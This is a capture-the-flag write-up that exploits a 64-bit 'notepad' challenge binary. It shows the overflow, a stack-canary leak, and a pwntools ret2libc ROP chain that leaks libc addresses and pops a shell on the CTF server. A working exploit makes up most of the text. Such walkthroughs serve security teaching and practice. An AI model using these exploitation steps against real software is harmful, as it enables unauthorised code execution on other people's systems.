Notepad as a Service
11 minutes to read
We are given a 64-bit binary called notepad
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
If we use Ghidra to extract the decompiled C source code, we see the main
function:
void main() {
setbuf(stdout, (char *) 0x0);
do {
notepad();
} while (true);
}
Basically, it runs notepad
infinitely:
void notepad() {
long in_FS_OFFSET;
char option;
int i;
undefined notes[136];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
for (i = 0; i < 128; i = i + 1) {
notes[i] = 0;
}
puts("Welcome to Notepad as a Service!");
while (true) {
while (true) {
while (true) {
puts("Menu:");
puts("1) View note");
puts("2) Edit note");
puts("3) Quit and make new note\n");
printf(">>> ");
__isoc99_scanf("%c%c", &option, &dead);
if (option != '1') break;
view(notes);
}
if (option != '2') break;
edit(notes);
}
if (option == '3') break;
puts("Not a valid choice!");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The view
function is pretty simple:
void view(undefined8 param_1) {
printf("Your note is %s\n", param_1);
return;
}
And the edit
function is quite interesting:
void edit(long param_1) {
int input_char;
int i;
int limit;
puts("What index do you want to edit it at (0-127)?");
printf(">>> ");
__isoc99_scanf("%u%c", &i, &dead);
if (i < 128) {
printf("Enter your changes:\n>>> ");
limit = 0;
while (true) {
input_char = getchar();
if (((char) input_char == '\n') || (0x7e < limit)) break;
*(char *) (i + param_1) = (char) input_char;
limit = limit + 1;
i = i + 1;
}
} else {
printf("That\'s not a valid index!");
}
return;
}
Here we have a way of writing up to 0x7e
(126) characters different to \n
at a position of notes
(char
array of 136 elements).
So, imagine if we use index 127 and enter a large amount of data:
$ ./notepad
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 2
What index do you want to edit it at (0-127)?
>>> 127
Enter your changes:
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 3
*** stack smashing detected ***: terminated
zsh: abort (core dumped) ./notepad
There it is. We have a Buffer Overflow vulnerability and we also see the canary protection.
Let’s use GDB to see where is the stack canary placed with respect to our note input:
$ gdb -q notepad
Reading symbols from notepad...
(No debugging symbols found in notepad)
gef➤ run
Starting program: ./notepad
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 2
What index do you want to edit it at (0-127)?
>>> 127
Enter your changes:
>>> ABCDEFGH
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecefd2 in __GI___libc_read (fd=0x0, buf=0x4052a0, nbytes=0x400) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ grep ABCDEFGH
[+] Searching 'ABCDEFGH' in memory
[+] In '[heap]'(0x405000-0x426000), permission=rw-
0x4052a0 - 0x4052aa → "ABCDEFGH\n"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5b000-0x7ffff7fa9000), permission=r--
0x7ffff7f69ea1 - 0x7ffff7f69ed8 → "ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr[...]"
0x7ffff7f7902c - 0x7ffff7f79063 → "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx[...]"
0x7ffff7f790ca - 0x7ffff7f790e4 → "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
0x7ffff7f7911a - 0x7ffff7f7913e → "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe63f - 0x7fffffffe647 → "ABCDEFGH"
gef➤ x/10gx 0x7fffffffe630
0x7fffffffe630: 0x0000000000000000 0x4100000000000000
0x7fffffffe640: 0x0048474645444342 0x017050fc6fd30b00
0x7fffffffe650: 0x00007fffffffe660 0x00000000004013b1
0x7fffffffe660: 0x0000000000000000 0x00007ffff7de5083
0x7fffffffe670: 0x00007ffff7ffc620 0x00007fffffffe758
The stack canary value is 0x017050fc6fd30b00
, because the next value is the saved $rbp
(0x7fffffffe660
) and the following one is the saved return address (0x4013b1
). In order to bypass this protection, we must leak it. One way of doing this is adding two more bytes to the note and printing its value with view
(the need of two more bytes is to avoid the first null byte of the stack canary value):
gef➤ continue
Continuing.
2
What index do you want to edit it at (0-127)?
>>> 127
Enter your changes:
>>> ABCDEFGHIJ
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> 1
Your note is
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>>
However, we need to fill the other notes. At the moment, all notes have null bytes. That’s why we see nothing, because null bytes terminate strings in C.
Having said this, let’s start the exploit to leak the stack canary value:
#!/usr/bin/env python3
from pwn import *
context.binary = 'notepad'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'0')
p.sendlineafter(b'>>> ', b'A' * 127)
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'127')
p.sendlineafter(b'>>> ', b'B' * 10)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 60556
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $ 1
Your note is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBI8\x88\x81%J\xe9\xe0\xe8\x8a\x13\x7f
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
And there we have the stack canary, we can add this functionality in the exploit:
p.sendlineafter(b'>>> ', b'1')
note = p.recvline()
canary = u64(b'\0' + note.split(b'B' * 10)[1][:7])
log.info(f'Canary: {hex(canary)}')
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 114719
[*] Canary: 0x3a915786143fd700
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
In order to continue with the exploitation process, we must perform a ret2libc attack, because NX is enabled in the binary. Hence, we must use Return Oriented Programming (ROP) to execute arbitrary code once we overwrite the saved return address.
Moreover, we need to leak a function inside Glibc in order to bypass ASLR, which is very likely to be enabled in the remote system. For this purpose, we need to use puts
to print the contents of a certain Glibc function at the Global Offset Table (GOT), because it will leak the corresponding value at the Procedure Linkage Table (PLT) with the exact address of that function in Glibc at runtime.
Hence, we need a gadget pop rdi; ret
in order to enter the GOT address of a function (for example, the same puts
function) into $rdi
(first argument). Then call puts
using the PLT and finally call main
to continue with the execution of the program.
All these values can be obtained with the following commands:
$ readelf -s notepad | grep main
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
57: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2
71: 000000000040138f 36 FUNC GLOBAL DEFAULT 14 main
$ ROPgadget --binary notepad | grep 'pop rdi ; ret'
0x000000000040141b : pop rdi ; ret
$ objdump -d notepad | grep puts
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmpq *0x2fe2(%rip) # 404018 <puts@GLIBC_2.2.5>
4011cf: e8 5c fe ff ff callq 401030 <puts@plt>
4012b9: e8 72 fd ff ff callq 401030 <puts@plt>
4012c5: e8 66 fd ff ff callq 401030 <puts@plt>
4012d1: e8 5a fd ff ff callq 401030 <puts@plt>
4012dd: e8 4e fd ff ff callq 401030 <puts@plt>
4012e9: e8 42 fd ff ff callq 401030 <puts@plt>
40136e: e8 bd fc ff ff callq 401030 <puts@plt>
Nevertheless, pwntools
provides useful attributes to access these values, so that we don’t need to hard-code them. The ROP chain must include the stack canary value, to leave it unchanged (thus bypassing the protection) and enter a dummy $rbp
value, like 0
.
pop_rdi_ret_addr = 0x40141b
payload = b'B' * 9
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret_addr)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'127')
p.sendlineafter(b'>>> ', payload)
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 125758
[*] Canary: 0xdcf713bcdc856e00
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $ 3
\xc4\x82\xa7\x7f
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
And there is the real function of puts
at runtime. Let’s grab it and format it as a hexadecimal number:
p.sendlineafter(b'>>> ', b'3')
puts_addr = u64(p.recvline().strip(b'\n').ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 128245
[*] Canary: 0x4d5be7ce3e22000
[*] Leaked puts() address: 0x7fefe990a420
[*] Switching to interactive mode
Welcome to Notepad as a Service!
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
Alright, we are in main
again, so we need to fill the notes one more time. Now, we can get the offset of system
and "/bin/sh"
inside Glibc, because we can compute the base address of Glibc and thus bypass ASLR. These are the offsets:
$ ldd notepad
linux-vdso.so.1 (0x00007ffe4512a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff792757000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff79295f000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
195: 0000000000084420 476 FUNC GLOBAL DEFAULT 15 _IO_puts@@GLIBC_2.2.5
430: 0000000000084420 476 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5
505: 0000000000124330 1268 FUNC GLOBAL DEFAULT 15 putspent@@GLIBC_2.2.5
692: 0000000000126000 728 FUNC GLOBAL DEFAULT 15 putsgent@@GLIBC_2.10
1160: 0000000000082ce0 384 FUNC WEAK DEFAULT 15 fputs@@GLIBC_2.2.5
1708: 0000000000082ce0 384 FUNC GLOBAL DEFAULT 15 _IO_fputs@@GLIBC_2.2.5
2345: 000000000008e320 159 FUNC WEAK DEFAULT 15 fputs_unlocked@@GLIBC_2.2.5
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153ae0 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000052290 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Ok, let’s exploit the binary locally. First of all, let’s compute the base address of Glibc and other addresses:
puts_offset = 0x084420
system_offset = 0x052290
bin_sh_offset = 0x1b45bd
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 156756
[*] Canary: 0xf5acfc6170498100
[*] Leaked puts() address: 0x7fe306356420
[*] Glibc base address: 0x7fe3062d2000
[*] Switching to interactive mode
Menu:
1) View note
2) Edit note
3) Quit and make new note
>>> $
As a sanity check, we see that the base address of Glibc ends in 000
in hexadecimal, which is generally correct.
Now, we will use another ROP chain in order to call system("/bin/sh")
. This time, we must add a ret
gadget to prevent stack alignment issues (it is the same pop_rdi_addr
plus one):
payload = b'B' * 9
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret_addr)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret_addr + 1)
payload += p64(system_addr)
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b'>>> ', b'127')
p.sendlineafter(b'>>> ', payload)
p.sendlineafter(b'>>> ', b'3')
p.interactive()
$ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './notepad': pid 158722
[*] Canary: 0xb7a3e7f603b88800
[*] Leaked puts() address: 0x7fab1d9ab420
[*] Glibc base address: 0x7fab1d927000
[*] Switching to interactive mode
$ ls
notepad solve.py
We have a shell! Alright, let’s run it remotely:
$ python3 solve.py puzzler7.imaginaryctf.org 3001
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to puzzler7.imaginaryctf.org on port 3001: Done
[*] Canary: 0x86efa0d7c64bd600
[*] Leaked puts() address: 0x7f9b47528ed0
[*] Glibc base address: 0x7f9b474a4ab0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Obviously, we don’t get a shell because the remote Glibc is different to the local one. Another fact is that the base address does not end in 000
. In order to get the correct one, we must take the last three hexadecimal digits of the leaked puts
address and search it in libc.rip.
To get fewer results, we can leak another function like printf
:
$ python3 solve.py puzzler7.imaginaryctf.org 3001
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to puzzler7.imaginaryctf.org on port 3001: Done
[*] Canary: 0xc92ece03b2b45700
[*] Leaked printf() address: 0x7f867672d770
[*] Glibc base address: 0x7f86766a9350
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
We have three version candidates of Glibc:
We update the offsets, and we get a remote shell:
$ python3 solve.py puzzler7.imaginaryctf.org 3001
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to puzzler7.imaginaryctf.org on port 3001: Done
[*] Canary: 0xaa26c4c98b274200
[*] Leaked puts() address: 0x7f921747ced0
[*] Glibc base address: 0x7f92173fc000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
ictf{gimme_2_months_and_I'll_put_microsoft_out_of_business}
The full exploit can be found in here: solve.py
.